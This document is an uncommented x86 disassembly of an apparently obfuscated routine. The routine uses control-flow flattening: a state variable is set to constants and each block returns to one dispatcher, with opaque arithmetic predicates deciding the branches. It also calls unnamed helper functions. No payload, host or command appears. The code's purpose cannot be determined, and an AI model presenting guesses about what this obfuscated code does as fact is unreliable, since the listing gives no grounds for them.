mov dword [esi], 0x6bbfb69a
jmp 0x44066b
mov eax, dword [esi + 4]
lea ecx, [eax + eax*8]
lea eax, [eax + ecx*4]
shr eax, 0x19
imul ecx, eax, 0xf6
mov dword [esi + 4], ecx
mov eax, 0x87946877
cmp ecx, 0x6b
jae 0x444561
mov eax, 0xf4593bdd
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 8]
shl eax, 0xc
add eax, 0xfffbb000
shr eax, 0xe
mov dword [esi + 8], eax
mov dword [esi], 0xa01a0d47
jmp 0x44066b
push dword [esi + 0x18]
call fcn.0044aec0
add esp, 4
mov dword [esi + 0x15c], eax
push 1
push 0x800
call fcn.0045d963
add esp, 8
mov dword [esi + 0x108], eax
mov dword [esi], 0xc99362eb
jmp 0x44066b
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0x77dd275b
jmp 0x44066b
mov eax, dword [esi + 4]
lea eax, [eax + eax*8]
lea ecx, [eax*4 + 0x36d]
mov dword [esi + 4], ecx
mov eax, 0x9c1ba9ed
cmp ecx, 0xaa
jge 0x4445eb
mov eax, 0xa140a1ab
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 0x130]
xor edi, edi
inc edi
push edi
call eax
mov dword [esi + 0x134], eax
push edi
push 0x20
call fcn.0045d963
add esp, 8
mov dword [esi + 0xf8], eax
mov dword [esi], 0xd0460e08
jmp 0x44066b
imul eax, dword [esi + 4], 0x36
shr eax, 6
mov ecx, eax
shl ecx, 6
lea ecx, [ecx + eax*2]
add ecx, 0x43
mov dword [esi + 4], ecx
mov eax, 0x2fbbcc4a
cmp ecx, 0x3d
jge 0x444644
mov eax, 0xd4b78af1
mov dword [esi], eax
jmp 0x44066b
mov edi, dword [esi + 4]
shr edi, 8
add edi, 0x54
mov dword [esi + 4], edi
push 0x1cd
push 0x3bfd
push 0x14a1
push edi
call fcn.00445350
add esp, 0x10
mov eax, 0x4147df62
cmp edi, 0x65
je 0x44467e
mov eax, 0x34436423
mov dword [esi], eax
jmp 0x44066b
mov dword [esi], 0xed0da876
jmp 0x44066b
mov eax, dword [esi + 0x28]
mov dword [eax], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x8c], eax
mov dword [esi], 0x74fd6f1f
jmp 0x44066b
mov dword [esi], 0xb6e7b0da
jmp 0x44066b
mov dword [esi], 0xa188b9d6
jmp 0x44066b
push 0x16
push dword [esi + 0xf0]
push dword [esi + 0x70]
call fcn.0044dac0
add esp, 0xc
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov dword [esi + 0x1d4], eax
mov dword [esi], 0xbaeb7a37
jmp 0x44066b
mov eax, dword [esi + 4]
shl eax, 5
and eax, 0x7fffffe0
add eax, 0xffffffac
mov ecx, eax
shr ecx, 0xc
mov dword [esi + 4], ecx
mov ecx, 0x469974e6
cmp eax, 0x75000
jae 0x44471c
mov ecx, 0xa10ace44
mov dword [esi], ecx
jmp 0x44066b
imul ecx, dword [esi + 8], 0x2b
lea eax, [ecx + 0x371]
add ecx, 0x363
imul eax, eax
imul edx, eax, 0x5161
shr ecx, 3
dec edx
add ecx, 0x10d
mov dword [esi + 8], ecx
mov ecx, 0x5ead8a11
cmp edx, eax
je 0x444757
mov ecx, 0x87946877
mov dword [esi], ecx
jmp 0x44066b
push dword [esi + 0x54]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
call fcn.0042c1e0
mov dword [esi + 0x170], eax
mov dword [esi], 0xb8442e44
jmp 0x44066b
push 1
push 0x20
call fcn.0045d963
add esp, 8
mov dword [esi + 0xfc], eax
mov dword [esi], 0x2231c25
jmp 0x44066b
imul eax, dword [esi + 8], 0xbc
add eax, 0xffffb54a
shr eax, 4
and eax, 0xfffff00
mov dword [esi + 8], eax
mov dword [esi], 0x24125407
jmp 0x44066b
push eax
push eax
mov eax, esp
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x88]
add eax, 6
mov dword [esi + 0x140], eax
mov dword [esi], 0x7b77bc8f
jmp 0x44066b
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov dword [esi + 0x17c], eax
mov dword [esi], 0x485de71b
jmp 0x44066b
push 0xa
push dword [esi + 0xfc]
push dword [esi + 0x134]
call fcn.0045c07c
add esp, 0xc
push 1
push 0x4000
call fcn.0045d963
add esp, 8
mov dword [esi + 0xc], eax
mov dword [esi], 0x8fe8d881
jmp 0x44066b
mov dword [esi], 0x6c07dc46
jmp 0x44066b
push 0xa
push dword [esi + 0xf8]
push dword [esi + 0x128]
call fcn.0045c07c
add esp, 0xc
mov dword [esi], 0x34436423
jmp 0x44066b
imul edi, dword [esi + 4], 0x1f80000
mov dword [esi + 4], edi
push edi
push 0x3428
push 0x1a85
call fcn.0042ceb7
add esp, 0xc
mov eax, 0x968383c5
test edi, edi
je 0x44488b
mov eax, 0x463a114b
mov dword [esi], eax
jmp 0x44066b
mov eax, dword [esi + 4]
lea ecx, [eax*4 + 0x12000]
and ecx, 0xfffff000
or ecx, 0x8d
mov dword [esi + 4], ecx
mov eax, 0x683bff05
cmp ecx, 0x44
jge 0x4448ba
mov eax, 0x7e1918fa
mov dword [esi], eax
jmp 0x44066b
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xf0], eax
mov eax, dword [esi + 0xf0]
mov word [eax + 0x14], 0
push 0x14
push 0x475070
push dword [esi + 0xf0]
call fcn.0044dac0
add esp, 0xc
push 7
push 0x475084
push 0xa
push dword [esi + 0xf0]
call fcn.00445350
add esp, 0x10
mov dword [esi], 0x3929d46b
jmp 0x44066b
mov eax, dword [esi + 8]
shl eax, 0xe
or eax, 0x3d
mov dword [esi + 8], eax
mov dword [esi], 0xa7071fc1
jmp 0x44066b
imul eax, dword [esi + 8], 0x3c400000
add eax, 0x2a400000
shr eax, 0xa
imul eax, eax, 0xaa
mov dword [esi + 8], eax
mov dword [esi], 0x742e0221
jmp 0x44066b
mov dword [esi], 0xd4b796f7
jmp 0x44066b
mov ecx, dword [esi + 8]
add ecx, 0x18
mov eax, ecx
imul eax, ecx
shr ecx, 9
and ecx, 0x1fffff
imul edx, eax, 0x3673
dec edx
imul ecx, ecx, 0x43
add ecx, 0x2bf8
mov dword [esi + 8], ecx
mov ecx, 0x29a52922
cmp edx, eax
je 0x44498a
mov ecx, 0xe2605302
mov dword [esi], ecx
jmp 0x44066b
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x1df]
imul eax, eax
imul edx, eax, 0xc2b
imul ecx, ecx, 0x43
add ecx, 0xffff754a
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x3080e2d3
cmp edx, eax
je 0x4449be
mov ecx, 0xac54653c
mov dword [esi], ecx
jmp 0x44066b
push dword [esi + 0x64]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
mov eax, dword [esi + 0x1c]
add eax, 0x24
push eax
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
mov dword [esi], 0x2d26e45e
jmp 0x44066b
mov eax, dword [esi + 4]
mov ecx, 0xffffc000
and eax, ecx
lea edi, [eax*8 - 0xd00]
mov dword [esi + 4], edi
push edi
call fcn.00440654
add esp, 4
push edi
push 0x7e3
push 0x423a
push 0x57d8
call fcn.00445490
add esp, 0x10
mov dword [esi], 0x5101437e
jmp 0x44066b
cmp eax, 0x7362c2eb
je 0x444a65
jmp 0x44066b
mov edi, 0xffff308a
mov dword [esi + 4], edi
push 0x537
push edi
push 0x1cf7
call fcn.0042ceb7
add esp, 0xc
push edi
call fcn.00440654
add esp, 4
jmp 0x440665
mov eax, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
mov eax, dword [esi + 0x24]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret